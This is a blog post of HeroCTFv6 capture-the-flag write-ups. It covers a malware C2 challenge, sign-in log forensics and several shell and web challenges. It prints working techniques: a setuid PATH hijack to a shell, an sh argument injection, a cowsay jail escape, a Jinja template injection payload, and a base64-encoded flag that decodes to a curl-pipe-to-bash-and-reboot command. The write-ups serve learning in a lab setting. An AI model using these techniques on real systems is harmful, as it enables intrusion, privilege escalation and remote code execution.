HeroCTFv6

During October 2024, I participated to the HeroCTF. I managed to score 1272 points on my own. You will find below my writeups.

Enjoy 😉

Reverse - AutoInfector

Part 1

AutoInfector Description

When browsing the website, we notice a download button with a password restriction. By looking to the JS, we understand that we must find it to validate this part.

AutoInfector Writeup 1

AutoInfector Writeup 2

Javascript is a bit obfuscated and performs operations like XOR, MD5.

If we place a breakpoint in it and fill test as password, we get the following result.

AutoInfector Writeup 3

Our input is firstly converted into md5 and xored with md5 value of “AutoInfector”. Then, this value is compared to a specific hash.

To find the password, we must unxored this specific hash and then crack it.

AutoInfector Writeup 4

$ echo -ne 'infectedmushroom' | md5sum
f200ef234d1092396a1058925b8a0d3f  -

AutoInfector Writeup 5

Part 2

AutoInfector2 Description

By reading the description, we now that we must get on a C2. If we run the executable, we notice this interesting HTTP request.

AutoInfector2 Writeup 1

We have found the C2 but we don’t get any stage2 due to the 403 FORBIDDEN response.

If we look for the 000004c value on google, we see that is related to our keyboard configuration.

To bypass this geofencing restriction, we create a wordlist containing keyboard codes and see if the C2 responds differently to one of it.

#!/usr/bin/python3

import requests

def stage2(keycode):
    r = requests.post(
        url="http://c2.capturetheflag.fr:4444/stage2",
        data={"language":keycode},headers = {"User-Agent":"AutoInfector V1.0"},
        proxies={"http":"http://127.0.0.1:8080"}
        )
    if r.status_code != 403:
        print("FLAG? !! => " + keycode)
        print(r.text)

with open('codes.txt','r') as f:
    for line in f.readlines():
        stage2(line[:-1])

And after few seconds, we get the flag :

AutoInfector2 Writeup 2

Part 3

For the third step, we now that the flag may be contained inside a command from the C2. Inspecting the following code, we find the pollServer function which uses a specific User-agent for fingerprinting.

AutoInfector3 Writeup 1

However, sending a request with a good User-Agent is giving us a respond without the flag.

AutoInfector3 Writeup 2

But we now that a command may be sent, so we can monitor the endpoint with a simple python script and get the flag seconds later.

AutoInfector3 Writeup 3

AutoInfector3 Writeup 4

Forensic - Tenant Trouble

Tenant Trouble Description

The file opening winchester77_signin_logs_2024.csv contains authentication logs.

Tenant Trouble writeup 1

After filtering UserLoginFailed rows, we notice that mister.bennet@winchester77.onmicrosoft.com has way more failures than other accounts.

Creation TimeOperationUserId
2024-05-02T10:43:47ZUserLoggedInelizabeth.bennet@winchester77.onmicrosoft.com
2024-05-02T10:56:47ZUserLoggedInjane.bennet@winchester77.onmicrosoft.com
2024-05-02T11:05:37ZUserLoginFailedmister.bennet@winchester77.onmicrosoft.com
2024-05-02T11:26:47ZUserLoggedIngeorge.wickham@winchester77.onmicrosoft.com
2024-05-02T11:40:09ZUserLoginFailedmister.bennet@winchester77.onmicrosoft.com
2024-05-02T12:08:57ZUserLoggedIncharles.bingley@winchester77.onmicrosoft.com
2024-05-02T13:45:01ZUserLoginFailedmister.bennet@winchester77.onmicrosoft.com
2024-05-02T16:11:31ZUserLoginFailedmister.bennet@winchester77.onmicrosoft.com
2024-05-02T16:14:56ZUserLoggedIncatherine.debourgh@winchester77.onmicrosoft.com
2024-05-02T16:37:17ZUserLoggedInfiztwilliam.darcy@winchester77.onmicrosoft.com

This first series of LoginFailed represents the beginning of the attack.

Which means the flag is Hero{2024-05-02;mister.bennet@winchester77.onmicrosoft.com}.

Misc - Einstein

Einstein Description

Once the challenge is deployed and we are connected, we can find these files inside our home directory :

user@einstein:~$ ls -l
total 20
-rwsr-sr-x 1 einstein einstein 16160 Oct 25 17:37 learn
-rw-r--r-- 1 einstein einstein   679 Oct 25 17:35 learn.c

We observe that learn binary has setuid set and we got the following source code.

#include <stdio.h>
#include <unistd.h>

int main() {
    // Welcome message
    printf("Welcome to this physics course! All information on this course is not copied from the internet without fact check and is completely riginal.\n");
    printf("\n===================================\n\n");

    // Execute cat command
    setreuid(geteuid(), geteuid()); // Because system() runs sh that resets euid to uid if they don't match
                                    // Otherwise we could not read /home/einstein/theory.txt
    char command[30] = "cat /home/einstein/theory.txt";
    if (system(command) == -1) {
        perror("system");
        return 1;
    }

    return 0;
}

We notice that the cat command is used without specifying absolute path and the $PATH variable is not defined. Which means, we can execute any binary called cat by modifiying our PATH variable.

If we create a cat script and place it inside the /tmp folder that we’ve added in our $PATH, our script will be executed when running learn programm.

user@einstein:~$ echo '#!/usr/bin/bash' > /tmp/cat
user@einstein:~$ echo '/bin/bash' >> /tmp/cat
user@einstein:~$ export PATH=/tmp:$PATH

Now we can run ./learn to get a shell as einstein and get the flag.

user@einstein:~$ ./learn
Welcome to this physics course! All information on this course is not copied from the internet without fact check and is completely riginal.

===================================

bash: /home/user/.bashrc: Permission denied
einstein@einstein:~$ ls /home/einstein
flag.txt  theory.txt
einstein@einstein:~$ /usr/bin/cat /home/einstein/flag.txt
Hero{th30ry_of_r3l4tiv3_p4th5}

Misc - Free Shell

Free Shell Description

When the challenge instance is deployed, we can interact with a program on a tcp port.

Let’s inspect the source from the attachment :

#!/usr/bin/env python3
import os
import subprocess


print("Welcome to the free shell service!")
print("Your goal is to obtain a shell.")

command = [
    "/bin/sh",
    input("Choose param: "),
    os.urandom(32).hex(),
    os.urandom(32).hex(),
    os.urandom(32).hex()
]
print(command)
subprocess.run(command)

In this script, we are controlling the first parameter of the /bin/sh command. We can’t exploit a basic command injection here but we can do a parameter injection.

So digging into the sh man, we find the -s parameter enables taking input directly from stdin. So injecting this argument is immedialty giving us an interactive shell and we can get the flag.

Free Shell Description

Misc - LazySysAdmin

LazySysAdmin Description

When going on http://misc.heroctf.fr:8085 and inspecting the source code, we can find this malicious javascript.

LazySysAdmin Flag

After base64 encoding the payload, we can use the following flag :

HERO{Y3VybCAtcyBodHRwczovL2dob3N0YmluLnNpdGUvNnk2NWwvcmF3IHwgYmFzaCAmJiBzbGVlcCAyICYmIHJlYm9vdCAtZg==}

Misc - Moo

Moo Description

When we connect through SSH to the challenge, we get a message saying where the flag is and how to get it.

Moo writeup 1

Unfortunately, sudo/cat and ton of other commands are not found.

Moo writeup 2

In this jail, we can’t change our $PATH variable either. It seems we can only execute cowsay, dircolors, ls, rbash or vim commands.

Moo writeup 4

Thanks to GTFOBIN, we know we can get a shell with cowsay as it can takes perl script in parameter.

We write our payload with vim because redirections are not allowed.

echo 'exec "/bin/sh";' > $TF
cowsay -f $TF x

And now, we can get the flag.

Moo writeup 4

Web - PrYzes

Pryzes description

When going to the URL, we found this webpage without any special content.

Pryzes writeup 1

After downloading the source code, we found the /api/prizes endpoint which will give us the flag.

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")
    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400

We must send a POST request with a json body containing a date later than 2100 years. Moreover, we must add a specific header (X-Signature) with the sha256 value of the request body.

Pryzes writeup 2

Web - Jinjatic

Jinjactic Description

When visiting the website, we quickly find a page where we can submit an email address.

Jinjactic writeup 1

With the name of the challenge, we find that this field is vulnerable to Server Side Template Injection.

{{7*7}}@ctf.fr

Jinjactic writeup 2

Unfortunatly, a payload like this is not accepted by the backend.

{{cycler.__init__.__globals__.os.popen('id').read()}}@ctf.fr

Jinjactic writeup 2

The trick for this challenge is to use an email with a display name.

"display name" <test@ctf.fr>

And luckly for us, we can use all desired characters in the display name part.

So we get the flag with this final payload.

Jinjactic writeup 3